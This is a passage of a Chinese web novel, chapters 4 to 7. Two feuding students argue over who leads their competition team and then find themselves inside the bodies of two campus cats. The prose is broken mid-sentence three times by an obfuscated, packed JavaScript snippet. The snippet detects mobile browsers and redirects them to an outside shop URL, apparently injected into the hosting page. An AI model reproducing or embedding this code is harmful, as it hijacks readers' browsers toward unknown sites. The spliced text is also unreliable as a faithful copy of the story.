他谨慎地走上前,才发现那人眼熟得很,正是晏隋,黑色工装裤,脚踩马丁靴,面容英挺沉稳,半蹲在地上,似乎在干什么大事。 宁暨警惕地走上前一看,看到晏隋往狮子猫的窝里丢了两张符纸,想了想,似乎怕压不住,又丢了一个平安福。 听到身后的动静,晏隋转头,发现来人是宁暨。 宁暨鄙夷地望着他,“傻逼,你以为你弄这些符纸,这两只猫就不会报复你了吗?” “你太天真了,我告诉你,猫的报复心可是很强的。” 晏隋:“……?” 他让晏隋滚一边去,自己蹲了下来,掏出了斜挎包里的两个羊毛毡蛋蛋,毕恭毕敬地放在三花猫和狮子猫的老巢。 宁暨神情虔诚,“三花猫兄弟,这两个蛋是我问周琦要了图片,一比一还原了你的蛋蛋。” “冤有头债有主,三花猫兄弟,我欠你两个蛋今天还你了,下次别上我身了嗷。” 4. 第 4 章 上供完两个猫蛋蛋,下午四点,宁暨回到宿舍,刚进门拧开一罐可乐,接到了辅导员的语音电话。 辅导员姓张,头像是个笑呵呵的弥勒佛,待人亲和,在语音电话里问他有没有时间,有空的话来和谐楼办公室谈一谈跟学业有关的事情。 宁暨拎着一罐可乐出门,刚关上宿舍门,看到了隔壁宿舍的晏隋也跟着出了门,两人几乎神同步,手上同样拎着一罐可乐,连同球鞋都是一个款式。 “……” 两人同时膈应地皱眉,颇为嫌弃。 十分钟后。 和谐楼二楼办公室,张辅导员笑呵呵地请面前的两个男生坐下,一开口就是恭喜两人成功晋级今年的金融初创赛。 金融初创大赛含金量极高,三年一届,三人一队,自行组队,校赛淘汰一批人,再由校赛胜者参加市赛,省赛,最后逐鹿国赛。 国赛不仅奖金丰厚,在个人履历上也是一个颇能加分的点。 张辅导员瞧着眼前的两个男生,一个坐在沙发左边,一个坐在沙发右边,中间隔出一条老死不相往来的楚河汉界,斟酌了片刻,“我听说班里的一些同学说,你们是高中同学?” 宁暨含糊地应了一声,一旁的晏隋礼貌道:“嗯,不过不太熟。” 张辅导员:“这次金融初创赛的指导老师李老师找我,说我们系有两个好苗子,两人带领的队伍都拿到了校赛第一第二的好成绩,我一猜就知道肯定是你们两个。” “老师对你们很有信心,但省赛和国赛跟校赛不一样,难度更大,竞争更激烈,李老师建议你们两个队长组成一队,这样在国赛拿第一次更有希望。” “不过听李老师说,你们好像并不想组成一队?” 宁暨:“我觉得我能带我组员进国赛。” 一旁的晏隋微微一笑:“好巧,我也是这样觉得。” 张辅导员:“国赛跟校赛不一样,校赛只算组内积分,国赛还要算个人积分,你们如果组队,两个的组合积分会更高,也更有拿下国赛一等奖的希望。” 他停顿片刻,“老师知道你们可能关系比较生疏,但为了学校荣誉和个人荣誉,老师还是希望你们能好好考虑一下组队的事情。” 办公室陷入一片安静,只剩下空调运转的轻微声响。 “组队可以,我得当队内的操盘手,毕竟我校赛成绩第一。”宁暨舒展着长腿,嘴里蹦出一句话。 沙发另一头的晏隋嗤笑了一声,“你校赛积分就比我高了零点一三,凭着点分就想当操盘手?” 宁暨:“这点分不够,那我高三二模还比你高了七分,这分够不够?” 晏隋:“这七分你打算唠一辈子是吧?” 宁暨摊了摊手,无辜地望着辅导员,“老师,你看,不是我不同意组队,是他不同意。” 张辅导员:“……” 晏隋:“他风格太过冒险激进,我们组队容易产生分歧。” 张辅导员:“组队可以好好沟通啊,慢慢说服对方……” 彬彬有礼的男生露出一个微笑:“老师,我为什么要去说服一头不开窍的倔驴?” 张辅导员:“……小晏不能这样说同学,还有小宁……不要对着同学偷偷比中指。” 晏隋泰若自然地哦了一声,宁暨目不斜视地收回了偷偷竖起的中指。 宁暨:“高三二模比我低了七分,信不信这次我照样能拉你七分?” 晏隋:“有没有一种可能高三那次模拟考我发烧三十八度?” 宁暨:“发~烧~三~十~八~度~,怎么,你说我就信啊?” 没得谈。 张辅导员有些头痛,双手抱着脑袋,听着耳边嗡嗡的吵架声,仿佛看到了过年家里小孩叽叽喳喳的吵架声。 这两人哪哪都好,成绩优异,大大小小的奖项拿到手软,单拎出来也是顶沉稳顶有范,结果一碰上就开始互掐,针锋相对毫不退让。 半小时后,张辅导员接了一通电话,愣了一下,随即抬起头,神情有些复杂,对着掐架的两人欲言又止。 宁暨:“除非我当操盘手,不然组队这事没必要,他分比我低,我不可能让他当操盘手。” 晏隋:“嗯,确实没有组队的必要,到时候能不能在国赛见某人都不一定。” 张辅导员沉默片刻,叹了一口气:“那个……小宁小晏啊,老师要跟你们讲个事情,李老师说他已经给你们报了一个队,队内的操盘手选了晏隋,已经定下来让学校报上去了。” “李老师说每一届的金融初创赛市赛都是由老师安排,希望你们后续能好好合作,争取给A大拿个国赛一等奖。” “这是互利双方的好事,还希望你们不要让个人恩怨影响到学校荣誉。” ———— “凭什么不让老幺当操盘手?凭什么?” “那姓晏的是不是给指导老师李光塞钱了?是不是!是不是!” “肯定是,我们老幺哪样不比那个姓晏的强?!他的分明明比那姓晏的高!” “姓晏的听说家里面在金融行业很有影响力,比不过我们老幺来玩这一套是吧?!” “改天就去扎了李光的车胎!” 607宿舍,高星几个人怒而拍桌,将桌子拍得砰砰响,火冒三丈。 电竞椅上的宁暨面无表情,操纵着电脑屏幕上的人物击杀远处的敌人,枪枪爆头,戾气很重,击杀的枪声响彻宿舍。 他没什么表情,洗完澡就坐在座位上打游戏,一晚上没挪动一下椅子,没说过一句话,晚饭也没吃,仿佛为了发泄心里的怒火,脸色很冷。 高星几个人假装在宿舍走廊接水,实则中气十足站在宿舍长廊,对着隔壁宿舍指桑骂槐骂了半小时。 宁暨一声不吭,摘下头戴式耳机,靠在电竞椅上,将高星几个人叫回来。 晚上临睡前,熄了灯的寝室静悄悄,忽然冒出一声:“老幺睡没?” 漆黑中,下铺的宁暨翻了个身,脸贴着枕头,“准备睡了。” “那就行,别想那个金融初创赛的事了啊,咱不跟那个姓晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299402|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的置气。” 宁暨语气从容:“没置气,不就是一个比赛吗?不就是他当组长压我一头吗?有什么好生气的。” “那比赛我还没放在心上,小事。” 宿舍里其他人放心下来,纷纷安心入睡,没过一会宿舍就响起了打呼声。 凌晨一点。 下铺的宁暨忽然起身,咬牙切齿朝着墙隔空挥了一拳——据他所知,隔壁宿舍的晏隋也睡在下铺,就跟他就隔了一堵墙。 狗东西。 宁暨脑袋气得嗡嗡响,挥了好几拳才消了点气,又在脑海里畅快幻想了一遍将晏隋打扁塞进秋秋星牛奶盒,再一踢飞的场景,这才躺下安然入睡。 这觉睡得不安稳,耳边隐约听到些呼喊,吵个没完。 沉睡中的宁暨有些不耐烦,昏沉地趴在枕头上,试图盖住耳朵,没曾想呼喊更大声了。 沉睡中的宁暨迷迷糊糊伸手盖住耳朵,有些恼火地睁开眼,想看到底是什么人在吵个不停,结果一睁开眼就是遮天蔽日的灌丛,杂乱的枝条横生交叉。 宁暨:“???” 打吃鸡打多了,梦到自己埋伏在草丛里等人? 宁暨惊疑不定,眼皮忽而一跳,像是意识到什么,低头看了一眼手——眼熟的爪子毛绒绒,肉垫还是粉色的。 一只蟋蟀在绿叶上高亢鸣叫,下一秒被山竹一样的猫爪拍飞。 什么东西,叫个没完。 三花猫骂骂咧咧扒开灌木丛,从绿化带的灌木丛钻出来,看到了眼前的异瞳狮子猫,想也没想,劈头带脸就骂了一句狗东西。 晏隋:“……” 得了,都不用试探了。 两人都穿到猫身上了。 如今还是在早八穿到猫身上,林荫小道上来来往往都是学生,原先的三花猫和狮子猫就这样大大咧咧地躺在绿化带前,一点都不怕人。 异瞳狮子猫看着眼前的三花猫,向前走了一步,仿佛有话要说。 宁暨想起金融初创赛,火冒三丈,爪子挠着地砖挠得咯吱咯吱响,“看什么看,再看把你眼珠子挖出来。” “噜噜噜——” 清晨七点半,林荫小道两旁来来往往的A大学子人流不断,偶尔路过的学生瞧见路边两只猫,笑嘻嘻地蹲下,想同往常一样撸一把猫,嘴里发出点撸猫的拟声词。 谁知平日里好脾气摊开肚皮歪脑袋任揉的漂亮小三花却炸着毛,警惕地望着她,一副压根就不给碰的模样。 A大学生:“?” 她茫然地扭头,望了一眼旁边的异瞳狮子猫,“大白,你老婆怎么了?” 三花猫和狮子猫:“……” 这称呼怎么听上去怎么那么恶心 A大学生嘀嘀咕咕:“你是不是又惹你老婆生气了?你老婆平时超乖超好rua的啊……奇怪奇怪……” 女同学掏了一下背包,没掏出猫条,遗憾道:“今天没带猫条,明天再来rua你老婆。” “下次给你老婆带金枪鱼罐头,它一见那个就走不动道。” 5. 第 5 章 “宁暨!” 三花猫对身后的呼喊充耳不闻,飞一般地掠过花圃,哪知身后的呼喊没完没了,跟绿头苍蝇一样嗡嗡叫着。 三花猫恼火得厉害,一个滑铲式急刹停下来,竖起飞机耳,朝着异瞳狮子猫呲牙,火冒三丈道:“叫魂啊?” “有屁快放。” 异瞳狮子猫也跟着一个急刹,滑铲式停在花圃前,顿了一下,才低声道:“金融初创赛……” 他话还没说完,眼前的三花猫就跟个小电球一样噼里啪啦地炸开了,冷笑道:“怎么?得了便宜还卖乖?过来恶心我?” “给我滚远点。” 异瞳狮子猫:“不是……” “咪呜——” 一阵从喉咙里发出的嘶哑猫叫蓦然从四周响起,此起彼伏。 不知何时,四面八方围过来几只流浪猫,虎视眈眈地盯着三花猫和狮子猫,呈包围的趋势,似乎又忌惮着什么,迟迟没有靠近。 宁暨心中立即拉响警报,警惕十足地弓起身子,看着几只流浪猫一面忌惮,一面朝他慢慢靠近。 动物的天性是弱肉强食,掠夺地盘争夺资源甚至是相互残杀也屡见不鲜。 三花猫飞机耳竖起,毛绒绒的尾巴也跟着竖起,瞪着眼警惕地瞧着眼前几只慢慢靠近的流浪猫,随时随地准备进攻。 结果下一秒就被几只亢奋的流浪猫扑倒在地,亲昵地蹭着脑袋,发出呼噜噜的声响。 宁暨:“……?” 三花猫有些茫然,伸出爪子使劲推开一旁的狸花猫脑袋,爬起来,却仍旧被亢奋地蹭着脑袋。 甚至还有一只猫绕到了三花猫身后,想闻三花猫的屁股,被三花猫挠了一爪子,委委屈屈地坐在地上,舔了舔爪子。 三花猫使劲地挥着爪子,想把围在身旁的几只猫赶走,却发现怎么赶都赶不走。 他体型小,比不上那些流浪猫,不敢贸贸然打架,只能恼火地狂挥着两个爪子,跟赶苍蝇一样赶猫。 “你赶不走的。” 晏隋的嗓音响起。 不远处的异瞳狮子猫慢吞吞道:“你回去没查资料吗?” 三花猫抡起爪子,挠了一下伸头过来的狸花猫,恼火道:“我查什么资料?有什么资料好查的?” 异瞳狮子猫:“你现在是三花猫。” 宁暨:“废话,我不是你是啊。” 异瞳狮子猫:“……你懂三花猫对其他猫意味着什么吗?” 宁暨莫名其妙:“意味着什么?” 异瞳狮子猫顿了顿,低头舔了舔毛,慢慢道:“你还真是什么资料都没查啊。” “网上说猫看到的颜色跟我们人不一样,三花猫毛色众多,三种颜色又恰好能被猫看到,因此三花猫对其他猫的吸引力很大。” “对于猫而言,闻脑袋是求偶的一种方式。简而言之,这几只流浪猫觉得你很漂亮,都在对你求偶。” 宁暨:“???!!” 三花猫吓得立即炸毛,连滚带爬地从一堆流浪猫里滚了出来,惊悚地望着眼前的几只流浪猫,结结巴巴道:“求、求偶?” 异瞳狮子猫:“嗯,对了,刚才那只狸花猫闻你屁股是想确定你是公猫还是母猫。” 宁暨头皮发麻:“靠!老子是公的!求什么偶!” 几只流浪猫看见漂亮的小三花一溜烟蹿到一旁,对着小三花喵了几声,慢慢地踱步靠近三花猫,却又好像忌惮着什么,抬头看一眼不远处的异瞳狮子猫,谨慎地没再靠近,只频频朝着三花猫叫唤。 三花猫炸着毛,飞机耳高高竖起,看着随时随地都可能扑过来求偶的几只流浪猫,磨了磨爪子,紧张地弓起背,大气都不敢喘,视死如归,随时准备一打五。 “宁暨,金融初创赛的事我没找家里人安排,我没那么下作。” 异瞳狮子猫顿了顿,开口:“我没想着用那种手段抢组长的位置。” 宁暨:“???” 他不可置信地扭过头,咬牙切齿道:“大少爷,现在是他妈说这事的时候吗?老子的屁股都要保不住了!都他妈要火烧眉毛了!你还跟我说比赛的事?” 异瞳狮子猫充耳不闻,自顾自道:“你先听我说,我没想用那些下作的手段抢组长,但比赛的指导老师李光想卖个人情给我家里人,自作主张将我定成操盘手。” “过后我会去找李光,重新让他选定组长人选。” 宁暨火急火燎地后退几步,看着几只流浪猫虎视眈眈地跟着上前一步,他汗毛竖起,木然喊了一嗓子:“草,现在谁还在乎什么操盘手啊——” 屁股都要保不住了,谁还在乎什么比赛。 异瞳狮子猫直起身子,让三花猫过来,随即朝着步步逼近的几只流浪猫低沉地吼了一声,警告意味十足。 原本就在忌惮着靠前的流浪猫立即停住脚步,同狮子猫僵持了片刻,悻悻然地扭头走了,一面走一面回头,有些不太甘心。 宁暨眼睛瞪大,扭头望了一眼狮子猫,又扭头望了一眼被吼走的流浪猫,有些震惊。 “这只三花猫跟狮子猫的关系很好。” 晏隋的声音忽然响起,狮子猫端坐着,尾巴扫了扫地面,低沉道:“所有流浪猫都知道三花猫是狮子猫的配偶,但凡对三花猫求偶的流浪猫,都被狮子猫打过。” “虽然这些流浪猫还对三花猫有想法,但碍于狮子猫的威慑,只要狮子猫表露出一丁点不满,它们就不敢靠近。” 宁暨:“?” 他缓缓道:“所以你刚才为什么不一开始就对他们吼两嗓子?” 晏隋从容不迫道:“因为我要跟你讲金融初创赛的事。” “你脾气那么差,听两句就要炸,刚才是个谈话的好时机。” 刚才的三花猫乖得没边,蹲在停在绿化带旁,两只耳朵竖得高高的,浑身紧绷,既不会忽然逃窜,也不会开口让他闭嘴滚蛋。 可谓是千载难逢的好时机。 宁暨:“……” 三花猫扭头就走,一跃而起,钻进树木灌丛,迅速地朝着自己的宿舍楼疾驰而去,打算看看人形的自己现在是什么情况。 异瞳狮子猫仿佛抱着同他一样的念头,只顿了几秒,也一跃而起,朝着三花猫的方向疾驰而去。 三花猫一个急刹,扭头不爽道:“你干嘛?” 异瞳狮子猫也急刹停下来,莫名其妙:“回宿舍看自己的人形啊。” 三花猫:“你能不能走别的路?就非得跟我走同一条路?” 异瞳狮子猫沉默半晌,缓缓道:“有没有一种可能我宿舍就在你宿舍隔壁?” 三花猫挠了一下灰色地砖,龇牙,神情仍旧不爽——做人的时候他都不跟晏隋走同一条道,怎么做猫还得跟晏隋走同一条道? 三花猫冷哼一声,扭头转身,朝着其他的方向奔去。 十多分钟后,三花猫敏捷地窜进男生宿舍七栋507,宿舍很安静,显然都出去上课了。 三花猫探出脑袋,望了一圈,敏捷轻盈地跳上下铺的床边,瞧见床上沉睡的自己,眼睫合拢,一副沉沉睡去的模样。 三花猫伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299403|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出爪子探了一下人形身体的鼻息,确定有呼吸后松了口气,又使劲扒拉了几下人形的脑袋,试图把人形的自己晃醒,让自己的灵魂穿越回人形。 结果扒拉了半天,人形的自己仍旧是睡得沉沉,毫无反应,三花猫只好作罢。 它失望地垂下尾巴,但也知道自己不能在宿舍久待,待太久高星他们迟早会发现床上的自己不对劲。 三花猫蔫巴巴地溜出去,在楼梯口碰上了异瞳狮子猫。 两只猫对视一眼,难得没互相啐一口,默默地沿着楼梯下楼,双方都充满着淡淡的死气,显然是倒霉到了一块,人形都在沉睡。 下到二楼,异瞳狮子猫忽然停住脚步,“你那个学长,住在几栋?” 三花猫下意识不假思索呛道:“凭什么告诉你?” 异瞳狮子猫:“……” 它扭头,心平气和:“宁暨,我有时候真想一掌攮死你。” 宁暨听不懂什么叫囊死,但他也知道不是什么好话。 他眼珠子转了转,知道了晏隋问这句话的原因——他们变成猫很可能是因为当初这两只猫的报复。 既然上供蛋蛋没用,那便去找到亲手嘎蛋的周琦,指不定能让事情能出现点转机。 眼珠子溜溜转的三花猫想通了其中的关窍,下一秒撒腿狂奔,试图甩开身后的异瞳狮子猫自己独自去找周琦。 异瞳狮子猫见眼前的三花猫眼珠子转了又转,立即知道宁暨肚子里又开始冒坏水——他从来都是这样,一开始使坏脸上是半点都藏不住。 异瞳狮子猫立即警惕起来,弓起身子,果不其然,下一秒三花猫同闪电一眼猛地蹿出去,一看就知道想甩开他,独自去找周琦。 两道闪电一样的影子一掠而过。 宁暨扭头一瞧,看见身后的狮子猫紧追不放,眼珠子又溜溜一转,开始绕着A大狂奔,打算恶心恶心身后人。 狮子猫紧紧跟在后面,嘴角抽了抽——他明知道宁暨在故意遛狗一样遛他,却又不能不跟,谁能猜到宁暨下一条路是不是跑向周琦宿舍呢? 溜了大半个小时,三花猫渐渐吃力起来,气喘吁吁地呼哧呼哧,有些生气地挠了挠地面——这只三花猫平日里在校园内被投喂多了,养尊处优惯了,体力明显没有身后的狮子猫好。 甩是甩不开了。 三花猫不情不愿地领着身后的狮子猫跑到四栋的609。 609宿舍门敞开一截小缝,两只猫悄无声息地溜进门,瞧见周琦正在带着耳机,笑呵呵看着电脑屏幕上的萌宠搞笑合集。 一看到周琦,三花猫的脚步忽然僵住,猫躯一震,升腾起一股来自灵魂的恐惧,某个不存在的部位忽然一疼,条件反射般,身体逐渐瑟瑟发抖起来。 “……” 宁暨僵硬地扭头,发现一旁的异瞳狮子猫也僵硬在原地,仿佛也感觉到某个不存在的部位一疼。 三花猫退了一步,沉默半晌,露出难得谦让姿态,虚伪道:“你先。” 狮子猫:“……你不是干什么都要抢在我前面吗?” 毫不夸张地说,哪怕是一坨屎,宁暨都要抢在他面前把屎给端了。 三花猫继续虚伪道:“胡说什么,让你先就先。” 狮子猫后退一步:“你先。” 三花猫也跟着后退一步:“你先。” 两只猫越退越后,不知是谁碰到宿舍木门,老旧宿舍门发出咯吱咯吱的响声,动静不小,惊到了带着耳机的周琦。 周琦摘下耳机,诧异望向门外,瞧见了三花猫和狮子猫。 6. 第 6 章 宿舍门前僵直的三花猫被身手敏捷的喵手神医一把抓回宿舍,美滋滋地揣怀里放在书桌上。 十分钟后。 “喵喵喵~” “咪咪咪~” 总所周知,只要宿舍里出现一只猫,四面八方都是喵喵喵的猫叫,但没一声是猫叫的。 四栋的609,满屋子的男生趴在周琦书桌前,嘴里惟妙惟肖地学着猫叫,挤在一块逗着书桌上的漂亮小三花。 尾巴蓬松柔软的三花猫在书桌前走来走去,时不时低头用爪子扒拉书页,粉色的肉垫若隐若现。 “咪咪,来来来看这里,看这里——” “什么咪咪,它有名字,叫小花好不好,来来来,小花来哥哥这里,哥哥拆个罐头给你……” “等会哥哥给你拿个最贵的,对,就金枪鱼那个……” 动物医学专业的学生大多数都毛绒绒没什么抵抗力,更何况还是一只品相顶级的稀有三花猫,哪怕小三花在书桌上走来走去,扒拉着书页,鸟都没鸟人,也能将一群男大萌得肝颤。 小三花抬个头,一群色令昏庸的舍友昏了头,立即掏出周琦屯的猫罐头——专挑最贵的进口罐头开,放在小三花面前。 金枪鱼的猫罐头被撬开,三花猫瞥了一眼,不怎么感兴趣地扭头,伸出两个爪子,摁着周琦的脑袋,圆溜溜的猫眼直勾勾地盯着周琦。 宁暨试图用意念告诉这只三花猫——冤有头债有主,眼前人才是嘎蛋的罪魁祸首,赶紧认清楚事实让他穿回去。 一人一猫对视了几秒。 远处的异瞳狮子猫嘴角抽了抽,有点搞不懂两个爪子摁着周琦脑袋的三花猫在干什么。 周琦也不懂。 他脑门被两个爪子摁着,都快被三花猫爬到头上了,受宠若惊了一会,立即笑眯眯地夸三花猫可爱。 三花猫:“……” 得了,没什么用。 三花猫一爪子将周琦的脑袋拍歪,想跳到椅子上,没曾想却被一把抱回来,放在书桌上,一群大老爷们拿着猫罐头嘴里发出嘬嘬嘬喵喵喵的声音哄他吃罐头。 宁暨嫌弃地看着眼前的猫罐头,伸出爪子推到一旁,表露出十分的抗拒,冲着一群大老爷们呲牙叫了一声。 周琦室友捂着心:“妈呀,太萌了——” “跟个小蛋糕一样。” 从容站在行李箱上的异瞳狮子猫噗嗤笑了一声,心想这话估计能给宁暨气炸——没有谁比他更了解宁暨了。 这人最讨厌别人说他萌。 果不其然,书桌上的三花猫顿时炸开毛,弓起身子,生气地将眼前的一颗脑袋拍飞,谁知道那人愣了一下,随即又屁颠屁颠地道:“哎呀,你们别说话了,小花都饿了。” “你看,它饿得都生气了,” 炸毛的宁暨继续伸爪子,将另一个人的脑袋也拍飞,呲牙,结果下一秒打开的猫罐头就递到他跟前。 金枪鱼罐头的香气扑鼻而来,猫咪嗅觉比人类嗅觉要高出百倍,三花猫却死活不肯往前吃一口,显得抗拒无比。 跟肉泥一样的罐头有什么好吃—— 挣扎的三花猫在拼命抗拒中被喂了一口金枪鱼罐头,下一秒就愣住,圆溜溜的猫眼蓦然睁大。 五分钟后。 站在行李箱上的异瞳狮子猫沉默片刻,嘴角抽了抽道:“宁暨,你来这里是干嘛的?” 在书桌上吃得正欢的三花猫晃了晃尾巴,鸟也不鸟他。 一群大老爷们拿着手机,屁颠屁颠地对着正在吃猫罐头的三花猫三百六十五度拍摄,一边拍一边直呼可爱。 三花猫吃完猫罐头,一抹嘴巴,昂着脑袋,从书桌上跳下来,一边砸吧着嘴一边评价:“味道不错,就是凉了一点。” 晏隋:“……” 吃饱喝足的三花猫大摇大摆地往外走,毛绒绒的尾巴竖得很高,蓬松柔软得跟狐狸的尾巴一样,对身后喵喵叫的大老爷们视若无睹。 异瞳狮子猫跳下行李箱,嘴角抽了抽,心想宁暨穿成猫似乎也不奇怪——宁暨那样的性格,跟猫没什么两样。 几个追出来的周琦舍友瞧见从行李箱跳下来的异瞳狮子猫,被吓了一跳,随即又心痒痒,伸出手也想要摸一摸雪白的大猫。 谁知异瞳狮子猫抬起头,瞥了几人一样,庞大的体型加上凉凉的蔑视眼神,便让几个大老爷们一个急刹车,肃然起敬。 这体格,这眼神——身上必定是沾了好几条鼠命 身上沾了好几条鼠命的猫可撸不得。 几人齐刷刷地往后退,异瞳狮子猫跟在三花猫身后,慢条斯理地走了出去。 “这两是一对的,感情好得不得了。” 周琦探出脑袋,对着两只猫的背影补充了一句。 宿舍几人恍然大悟,“我就说刚才那只白猫怎么一直望着这只三花猫。” “不过你别说,这两感情还真好,形影不离的。” 宿舍楼下。 三花猫跳上长椅,先发制人地嫌弃道:“你怎么一点用都没有?” 异瞳狮子猫:“?……” 他蹲在椅子下,缓缓道:“我又怎么了?” 三花猫将椅子拍得邦邦响,“我好歹还去摸了周琦的头,你就蹲在行李箱上,什么都没干。” “光长个,那么不中用。” 依他来看,他就应该穿到这只体型庞大的狮子猫身体里,晏隋就应该穿到小三花身体里,鬼知道这两只猫为什么会这样分配,让他当三花猫。 异瞳狮子猫瞥了他一眼,懒洋洋地蹦出了一句:“你摸他头有用吗?” 三花猫切了一声,嘀咕了一句:“说得好像你求那两张符就有用一样。” 它趴在长椅上,歪着脑袋,看着来来往往的学生,有些惆怅——什么时候才能穿回自己的身体? 若是穿不回去,岂不是一辈子都要当只三花猫? 异瞳狮子猫却显得风轻云淡,端坐着,抛出一句等着呗。 宁暨有些诧异,“等着?你不怕得等上十天半个月的?到时候家里人怎么办?” 倘若真要变成猫十天半个月的,人形大抵也要昏睡十天半个月,宁暨不敢想真要睡上那么久,宁父宁母得有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299404|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心。 异瞳狮子猫没说话,好一会语气漠然得可怕,带着些讥讽的意味:“我死活跟他们有半毛钱关系吗?” 说完,狮子猫便趴在地上,闭上眼,显然是懒得再谈这个话题。 宁暨有些愣,觉得狮子猫的话有些奇怪,但他向来同晏隋不对付,琢磨了一下,也没琢磨出大少爷这句话到底是什么意思,撇了撇嘴,低头在椅子上磨爪子。 日头渐渐高升,磨完爪子的三花猫趴在长椅上,准备小眯一会,趴在地上狮子猫却忽然起身站直,抬头看了一眼周围的建筑,直直地朝着某个方向疾驰而去。 三花猫很警惕,立即跟着起身,跟在狮子猫的身后疾驰。 狮子猫一个急刹,在草坪上停下,扭头眯眼望着三花猫:“你干嘛?” 三花猫警惕十足:“你要偷偷去哪?” “你是不是发现了什么?想背着我偷偷一个人去?我告诉你晏隋,没门啊。” “我刚才可是告诉你周琦宿舍的位置,你这会甭想甩开我。” 狮子猫:“我没你那么幼稚。” 三花猫往前走一步,一副探究的神情,“那你告诉我你现在要去哪?” 狮子猫面无表情:“上厕所。” 三花猫切了一声,“谁信啊?” 十分钟后。 崇德楼二楼卫生间。 三花猫站在洗手台,看着异瞳狮子猫走进隔间,嘴角抽了抽,“大少爷,你上个厕所还要专门挑崇德楼的卫生间上?” 异瞳狮子猫目不斜视,开始挑厕所隔间。 崇德楼的卫生间人少,清净又干净,灯光明亮,洗手池和镜面一尘不染。 三花猫眼睛滴溜溜转了转,跳下洗手台,跟在狮子猫身后,看着狮子猫挑剔了几分钟,终于选定倒数第二隔间。 狮子猫推门进去,一脚蹬上门,打算开始上厕所。 结果刚关上门,一颗毛绒绒的猫脑袋就挤了进来,眼睛圆溜溜地瞄着他。 晏隋:“……要死啊?” 三花猫兴致勃勃——只要能恶心到面前人,他什么都乐得干。 他装作无辜道:“骂我干什么?你自己没关厕所门。” 三花猫开始使坏,虚情假意:“我一碰门就自己开了,这可不关我的事。” “有本事你就把门关上,要么就一边尿一边顶着门咯。” 他笃定眼前这位有洁癖的大少爷绝对不可能在他面前上厕所。 狮子猫咬牙,一爪子将伸进来的脑袋推出去,关紧隔间门,刚掀开马桶盖,啪地一下,隔间门外又伸进一颗毛绒绒的脑袋。 毛绒绒的脑袋望着他,笑嘻嘻道:“要尿尿了吗?” 晏隋:“……” 他咬着后槽牙,磨得咯吱响了一声:“宁暨。” 三花猫兴致勃勃伸着爪子,将厕所隔间门扒拉来扒拉去,得意道:“叫声哥,我就出去。” 晏隋:“。” 三花猫嘬嘬嘬了几声,又嘿嘿一笑:“真不叫哥?” “我可一直在这里待着,你可要想清楚了。” 7. 第 7 章 卫生间隔间门被三花猫用爪子摇得嘭嘭作响。 它兴致勃勃让隔间里的猫赶紧叫哥的时候,下一秒便被拎着脖子举了起来。 宁暨:“???” 三花猫在空中扑腾了两下,有些懵,扭头一看,发现是崇德楼的老师,拎着猫稀奇道:“哪来的小猫?” 三花猫挣扎了两下,伸出爪子吓唬了两下眼前的中年男人,中年男人却笑眯眯地拎着它,将它放在洗手台上,拧开水龙头。 中年男人用手掬了点水,放在小猫面前,嘬嘬嘬了几声,“是不是找水喝?” 三花猫一爪子将拧开的水龙头关上,火急火燎要往厕所隔间赶,刚蹦跶几下又被拎回洗手池。 中年男人一边念头着里面脏去不得,一边将三花猫拎回洗手台,给它喂了几口水,又洗干净手才进到厕所隔间。 三花猫偏头呸呸了几下,两只爪子挠着嘴,再抬头,看到上完厕所的狮子猫从隔间出来,嗖地一下跳到洗手池上,居高临下地摁着它的脑袋。 “叫哥才给尿?” 宁暨:“……” 三花猫呲了一下牙,伸出爪子狠狠地挠向狮子猫,跳到洗手池台下跟狮子猫打得不可开交。 两只猫打得猫毛满天飞,逞凶斗狠,连洗手间又进了人也浑然不知。 不多时,洗手间响起一阵闲聊。 “金融初创赛那事你听老张说没?” “听说了,老张说这事老李做得不地道,他瞧过那孩子的资料,明明是第一名,组长的名号却没落到他头上……” “李光作风不一直是这样吗?要不然以他资历怎么够得上评职称?” 卫生间,两个共事了十几年的老师一面洗手一面闲聊,显然对口中的李光颇有微词,聊了几句,烘干手便走了。 浑然不知短短几句话又让洗手台下的两只猫新仇旧恨燃起了遍。 三花猫龇牙,挥着爪子,邦邦邦地拍着狮子猫的脑袋,火冒三丈。 狮子猫没再回手,闷不做声挨了几下——金融初创赛这事确实是他没理。 三花猫揍完狮子猫,生着气,毛绒绒的爪子将眼前的狮子猫扒拉开,“滚一边去,别挡道——” 火冒三丈的三花猫骂骂咧咧地走出卫生间。 狮子猫追上去,紧紧跟在三花猫身后,“到时候我会让李光重新选定操盘手人选,我说了我没那么下作。” “谁信啊?” “宁暨——” 新开学不久,不少社团都在招新人搞活动,沿路摆满桌椅横幅,两只猫一路从篮球社骂到了吉他社。 